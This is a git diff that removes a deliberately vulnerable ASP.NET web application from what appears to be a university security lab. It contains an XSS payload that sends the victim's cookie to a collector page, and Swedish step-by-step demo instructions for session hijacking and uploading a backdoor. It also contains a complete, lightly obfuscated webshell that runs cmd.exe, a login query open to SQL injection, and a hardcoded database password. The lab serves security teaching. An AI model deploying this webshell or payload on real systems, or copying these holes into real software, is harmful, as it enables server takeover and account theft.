||||
|
||||
/// <summary>
|
||||
/// txtFname control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtFname;
|
||||
|
||||
/// <summary>
|
||||
/// lblLname control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblLname;
|
||||
|
||||
/// <summary>
|
||||
/// txtLname control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtLname;
|
||||
|
||||
/// <summary>
|
||||
/// lblAmount control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblAmount;
|
||||
|
||||
/// <summary>
|
||||
/// txtAmount control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtAmount;
|
||||
|
||||
/// <summary>
|
||||
/// btnBuy control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button btnBuy;
|
||||
}
|
||||
}
|
@ -1 +0,0 @@
|
||||
%3cscript>document.write('%3cimg src="http://localhost:49834/WriteCookie.aspx?Cookie='%2bdocument.cookie%2b'">');%3c/script>
|
@ -1,20 +0,0 @@
|
||||
Demoinstruktioner:
|
||||
|
||||
Firefox - browser för angriparen, Chrome - browser för användaren
|
||||
|
||||
Angripare:
|
||||
Ett: Gå till förstasidan på applikationen i Firefox, klicka på Feedback.
|
||||
Två: Klista in koden från filen Attack.txt i kommentarsfältet.
|
||||
|
||||
Vanlig användare:
|
||||
Tre: Logga in i applikationen.
|
||||
Fyra: Gå till Visa feedback och när sidan visas kommer autentiseringskakan att skickas och
|
||||
läggas i C:\tmp\cookie.txt
|
||||
|
||||
Angripare:
|
||||
Fem: Gå till C:\tmp\cookie.txt och kopiera innehållet
|
||||
Sex: Öppna cookie manager. Skapa en ny kaka med namn = auth och värde = värdet från cookie.txt
|
||||
Sju: Gå till Default.aspx med den nya kakan installerad.
|
||||
Åtta: Gå till fileupload, ladda upp backdoor.aspx
|
||||
Nio: Surfa till localhost...backdoor.aspx
|
||||
Tio: Kör något kommando
|
@ -1,47 +0,0 @@
|
||||
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||
<%@ Import Namespace="System.Diagnostics" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<script Language="c#" runat="server">
|
||||
void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
string doRunCmd(string arg)
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "c";
|
||||
psi.FileName += "m";
|
||||
psi.FileName += "d";
|
||||
psi.FileName += ".";
|
||||
psi.FileName += "e";
|
||||
psi.FileName += "x";
|
||||
psi.FileName += "e";
|
||||
psi.Arguments = "/";
|
||||
psi.Arguments += "c";
|
||||
psi.Arguments += arg;
|
||||
psi.RedirectStandardOutput = (2 + 3 == 5);
|
||||
psi.UseShellExecute = (1 + 2 == 4);
|
||||
Process p = Process.Start(psi);
|
||||
StreamReader stmrdr = p.StandardOutput;
|
||||
string s = stmrdr.ReadToEnd();
|
||||
stmrdr.Close();
|
||||
return s;
|
||||
}
|
||||
void cmdrun_Click(object sender, System.EventArgs e)
|
||||
{
|
||||
Response.Write("<pre>");
|
||||
Response.Write(Server.HtmlEncode(doRunCmd(txtArg.Text)));
|
||||
Response.Write("</pre>");
|
||||
}
|
||||
</script>
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<title>asp.net webshell</title>
|
||||
</HEAD>
|
||||
<body >
|
||||
<form id="cmd" method="post" runat="server">
|
||||
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="Execute" OnClick="cmdrun_Click"></asp:Button>
|
||||
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||
</form>
|
||||
</body>
|
||||
</HTML>
|
@ -1,56 +0,0 @@
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Feedback.aspx.cs" Inherits="myWebApplication.Feedback" %>
|
||||
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head runat="server">
|
||||
<title>Send feedback</title>
|
||||
<link href="Styles/Site.css" rel="stylesheet" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="center">
|
||||
<div class="top">
|
||||
</div>
|
||||
<div class="main" >
|
||||
<div class="left" >
|
||||
<form id="form1" runat="server">
|
||||
<asp:HiddenField ID="hfield" runat="server"></asp:HiddenField>
|
||||
<div>
|
||||
<asp:Panel ID="Panel_feedback" runat="server">
|
||||
<asp:Label ID="lblFeedback" runat="server" Text="Feeeedback! Here. Now!"></asp:Label>
|
||||
<br />
|
||||
<asp:TextBox ID="txtFeedback" runat="server" TextMode="MultiLine" Height="72px"
|
||||
Width="222px"></asp:TextBox>
|
||||
<br />
|
||||
<br />
|
||||
|
||||
<asp:Label ID="lblName" runat="server" Text="Name. Here!"></asp:Label>
|
||||
<br />
|
||||
<asp:TextBox ID="txtName" runat="server"></asp:TextBox>
|
||||
<br />
|
||||
<br />
|
||||
<asp:Button ID="btnFeedback" runat="server" Text="Send feedback"
|
||||
onclick="btnFeedback_Click" />
|
||||
</asp:Panel>
|
||||
|
||||
<asp:Panel ID="Panel_return" runat="server">
|
||||
<asp:label ID="lblThanks" runat="server" Text="Thank you for submitting feedback" ></asp:label>
|
||||
<br />
|
||||
<br />
|
||||
<asp:Button ID="btnReturn" runat="server" Text="Return"
|
||||
onclick="btnReturn_Click" />
|
||||
</asp:Panel>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="right">
|
||||
<img src="../images/sdm_skull.jpg" height="172px" width="160px" alt="Jb" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom">
|
||||
All things Sonic Death Monkey. Directly stolen from High Fidelity movie. As a tribute of sorts... Like it?
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
@ -1,41 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class Feedback : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
if (!IsPostBack)
|
||||
{
|
||||
Panel_feedback.Visible = true;
|
||||
Panel_return.Visible = false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
protected void btnReturn_Click(object sender, EventArgs e)
|
||||
{
|
||||
Response.Redirect("login.aspx");
|
||||
}
|
||||
|
||||
protected void btnFeedback_Click(object sender, EventArgs e)
|
||||
{
|
||||
//get stuff and pass to database
|
||||
String name = Server.UrlDecode(txtName.Text);
|
||||
String comment = Server.UrlDecode(txtFeedback.Text);
|
||||
|
||||
SQLaccess.InsertComment(name,comment);
|
||||
|
||||
Panel_feedback.Visible = false;
|
||||
Panel_return.Visible = true;
|
||||
}
|
||||
}
|
||||
}
|
114
lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs
generated
114
lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs
generated
@ -1,114 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class Feedback {
|
||||
|
||||
/// <summary>
|
||||
/// form1 control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
|
||||
|
||||
/// <summary>
|
||||
/// hfield control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.HiddenField hfield;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_feedback control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_feedback;
|
||||
|
||||
/// <summary>
|
||||
/// lblFeedback control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblFeedback;
|
||||
|
||||
/// <summary>
|
||||
/// txtFeedback control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtFeedback;
|
||||
|
||||
/// <summary>
|
||||
/// lblName control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblName;
|
||||
|
||||
/// <summary>
|
||||
/// txtName control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.TextBox txtName;
|
||||
|
||||
/// <summary>
|
||||
/// btnFeedback control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button btnFeedback;
|
||||
|
||||
/// <summary>
|
||||
/// Panel_return control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Panel Panel_return;
|
||||
|
||||
/// <summary>
|
||||
/// lblThanks control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblThanks;
|
||||
|
||||
/// <summary>
|
||||
/// btnReturn control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Button btnReturn;
|
||||
}
|
||||
}
|
@ -1 +0,0 @@
|
||||
<%@ Application Codebehind="Global.asax.cs" Inherits="myWebApplication.Global" Language="C#" %>
|
@ -1,47 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.Security;
|
||||
using System.Web.SessionState;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public class Global : System.Web.HttpApplication
|
||||
{
|
||||
|
||||
void Application_Start(object sender, EventArgs e)
|
||||
{
|
||||
// Code that runs on application startup
|
||||
|
||||
}
|
||||
|
||||
void Application_End(object sender, EventArgs e)
|
||||
{
|
||||
// Code that runs on application shutdown
|
||||
|
||||
}
|
||||
|
||||
void Application_Error(object sender, EventArgs e)
|
||||
{
|
||||
// Code that runs when an unhandled error occurs
|
||||
|
||||
}
|
||||
|
||||
void Session_Start(object sender, EventArgs e)
|
||||
{
|
||||
// Code that runs when a new session is started
|
||||
|
||||
}
|
||||
|
||||
void Session_End(object sender, EventArgs e)
|
||||
{
|
||||
// Code that runs when a session ends.
|
||||
// Note: The Session_End event is raised only when the sessionstate mode
|
||||
// is set to InProc in the Web.config file. If session mode is set to StateServer
|
||||
// or SQLServer, the event is not raised.
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
@ -1,27 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public class Helpers
|
||||
{
|
||||
public static string CalculateMD5Hash(byte [] inputBytes)
|
||||
{
|
||||
// step 1, calculate MD5 hash from input
|
||||
MD5 md5 = System.Security.Cryptography.MD5.Create();
|
||||
byte[] hash = md5.ComputeHash(inputBytes);
|
||||
|
||||
// step 2, convert byte array to hex string
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < hash.Length; i++)
|
||||
{
|
||||
sb.Append(hash[i].ToString("X2"));
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("myWebApplication")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("myWebApplication")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2011")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("572739fa-7b7b-4479-886c-fe83da5c46fb")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Revision and Build Numbers
|
||||
// by using the '*' as shown below:
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
@ -1,131 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Data.SqlClient;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
|
||||
public class SQLaccess
|
||||
{
|
||||
//private static String connectionString = "Data Source=.;Initial Catalog=myVulnappDB;Integrated Security=True";
|
||||
//private static String connectionString = "Data Source=.\\SQLEXPRESS;Initial Catalog=myVulnappDB;Integrated Security=True";
|
||||
private static String connectionString = "Data Source=theoden.ce.chalmers.se;Initial Catalog=myVulnappDB;Integrated Security=False;UID=myvulnapp;PWD=myvulnapp";
|
||||
|
||||
public static String checkUserPass(String username, String password)
|
||||
{
|
||||
SqlConnection conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
|
||||
//SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username=@username AND Password=@password");
|
||||
//sqlc.Parameters.AddWithValue("@username", username);
|
||||
//sqlc.Parameters.AddWithValue("@password", password);
|
||||
|
||||
SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username='" + username + "' AND Password='" + password + "'");
|
||||
sqlc.Connection = conn;
|
||||
SqlDataReader sdr = sqlc.ExecuteReader();
|
||||
if (sdr.HasRows == false)
|
||||
{
|
||||
return null; //no user
|
||||
}
|
||||
else
|
||||
{
|
||||
sdr.Read();
|
||||
return sdr.GetValue(0).ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public static String GetUserFromID(String ID)
|
||||
{
|
||||
SqlConnection conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
|
||||
|
||||
SqlCommand sqlc = new SqlCommand("SELECT Username,Password FROM Table_Users WHERE SessionID=@sessionid");
|
||||
sqlc.Parameters.AddWithValue("@sessionid", ID);
|
||||
|
||||
sqlc.Connection = conn;
|
||||
SqlDataReader sdr = sqlc.ExecuteReader();
|
||||
if (sdr.HasRows == false)
|
||||
{
|
||||
return null; //no user
|
||||
}
|
||||
else
|
||||
{
|
||||
//can only be one if mechanism works as intended, take the first one
|
||||
sdr.Read();
|
||||
return sdr.GetValue(0).ToString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static String GetRecordFromID(String ID)
|
||||
{
|
||||
SqlConnection conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
|
||||
|
||||
SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE SessionID=@sessionid");
|
||||
sqlc.Parameters.AddWithValue("@sessionid", ID);
|
||||
|
||||
sqlc.Connection = conn;
|
||||
SqlDataReader sdr = sqlc.ExecuteReader();
|
||||
if (sdr.HasRows == false)
|
||||
{
|
||||
return null; //no user
|
||||
}
|
||||
else
|
||||
{
|
||||
//can only be one if mechanism works as intended, take the first one
|
||||
sdr.Read();
|
||||
return sdr.GetValue(0).ToString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Boolean InsertComment(String Name, String Comment)
|
||||
{
|
||||
SqlConnection conn = new SqlConnection(connectionString);
|
||||
SqlCommand sqlc = new SqlCommand("INSERT INTO Table_Comments Values(@name,@comment);");
|
||||
sqlc.Parameters.AddWithValue("@name", Name);
|
||||
sqlc.Parameters.AddWithValue("@comment", Comment);
|
||||
|
||||
try
|
||||
{
|
||||
conn.Open();
|
||||
sqlc.Connection = conn;
|
||||
sqlc.ExecuteNonQuery();
|
||||
return true;
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
System.Diagnostics.Debug.Write(ex.StackTrace);
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Boolean InsertSessionID(String record, String SessionID)
|
||||
{
|
||||
SqlConnection conn = new SqlConnection(connectionString);
|
||||
SqlCommand sqlc = new SqlCommand("UPDATE Table_Users SET SessionID=@sessionid WHERE Record=@record;");
|
||||
sqlc.Parameters.AddWithValue("@sessionid", SessionID);
|
||||
sqlc.Parameters.AddWithValue("@record", record);
|
||||
try
|
||||
{
|
||||
conn.Open();
|
||||
sqlc.Connection = conn;
|
||||
sqlc.ExecuteNonQuery();
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
System.Diagnostics.Debug.Write(ex.StackTrace);
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
6111
lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1.js
vendored
6111
lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1.js
vendored
File diff suppressed because it is too large
Load Diff
@ -1,167 +0,0 @@
|
||||
/*!
|
||||
* jQuery JavaScript Library v1.4.1
|
||||
* http://jquery.com/
|
||||
*
|
||||
*
|
||||
* Includes Sizzle.js
|
||||
* http://sizzlejs.com/
|
||||
* Copyright 2010, The Dojo Foundation
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining
|
||||
* a copy of this software and associated documentation files (the
|
||||
* "Software"), to deal in the Software without restriction, including
|
||||
* without limitation the rights to use, copy, modify, merge, publish,
|
||||
* distribute, sublicense, and/or sell copies of the Software, and to
|
||||
* permit persons to whom the Software is furnished to do so, subject to
|
||||
* the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be
|
||||
* included in all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*
|
||||
* Date: Mon Jan 25 19:43:33 2010 -0500
|
||||
*/
|
||||
(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j?
|
||||
e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f,
|
||||
a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType===
|
||||
11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment();
|
||||
c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent,
|
||||
va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]],
|
||||
[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a,
|
||||
this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this,
|
||||
a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};
|
||||
c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$=
|
||||
Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload",
|
||||
c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;
|
||||
return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]||
|
||||
r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=
|
||||
